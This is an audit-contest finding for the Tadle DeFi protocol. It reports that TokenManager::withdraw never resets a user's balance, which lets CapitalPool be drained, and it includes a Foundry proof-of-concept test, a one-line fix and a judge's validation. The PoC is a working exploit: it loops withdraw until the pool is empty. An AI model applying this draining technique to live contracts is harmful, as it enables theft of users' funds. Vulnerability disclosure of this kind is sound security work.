Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious user can drain CapitalPool by calling TokenManager::withdraw

0xrststn

Summary

In TokenManager::withdraw, the userTokenBalanceMap is not updated after a user withdraws his balance so the user can continue withdrawing until the contract is drained.

Vulnerability Details

When TokenManager::withdraw is invoked, the contract checks that the user has balance:

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}

The userTokenBalanceMap is not set to zero after the user withdraws so he can keep invokingwithdraw for as long as the balance of CapitalPool is greater or equal the user’s balance.

PoC

Include this test in PreMarkets.t.sol:

function test_unlimited_withdraw() public {
//fund capital pool with 100_000_000 USDC to simulate other user's funds and approve TokenManager
deal(address(mockUSDCToken), address(capitalPool), 1_000 * 10 ** 18);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 1_000 ether);
capitalPool.approve(address(mockUSDCToken));
​
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1_000 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
​
address attacker = makeAddr("attacker");
deal(address(mockUSDCToken), attacker, 1_000 * 10 ** 18);
assertEq(mockUSDCToken.balanceOf(attacker), 1_000 ether);
​
vm.startPrank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address stockAddr = GenerateAddress.generateStockAddress(1);
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
//Attacker creates taker and then lists it. The attacker lists it at a very low price
// The lower the price, the more he can drain the capital pool since he will invoke withdraw as long as
// mockUSDCToken.balanceOf(address(capitalPool)) >= attacker's balance
preMarktes.createTaker(offerAddr, 500);
preMarktes.listOffer(stockAddr, 50 * 1e18, 12000);
vm.stopPrank();
​
// In this case user3 buys the attacker's offer although the attacker can buy it himself.
// The attacker just needs to have some balance in userTokenBalanceMap.
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offerAddr_1 = GenerateAddress.generateOfferAddress(1);
preMarktes.createTaker(offerAddr_1, 500);
vm.stopPrank();
​
vm.startPrank(attacker);
// Attacker's sales revenue balance after selling the offer
uint256 attackerBalance =
tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
​
// Attacker withdraws his balance as long as capital pool USDC balance >= attacker's balance
while (mockUSDCToken.balanceOf(address(capitalPool)) >= attackerBalance) {
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
}
​
console2.log("Attacker's USDC balance after attack", mockUSDCToken.balanceOf(attacker));
console2.log("Capital pool's USDC balance after attack", mockUSDCToken.balanceOf(address(capitalPool)));
}

Tools Used

Foundry

Recommendations

Set userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.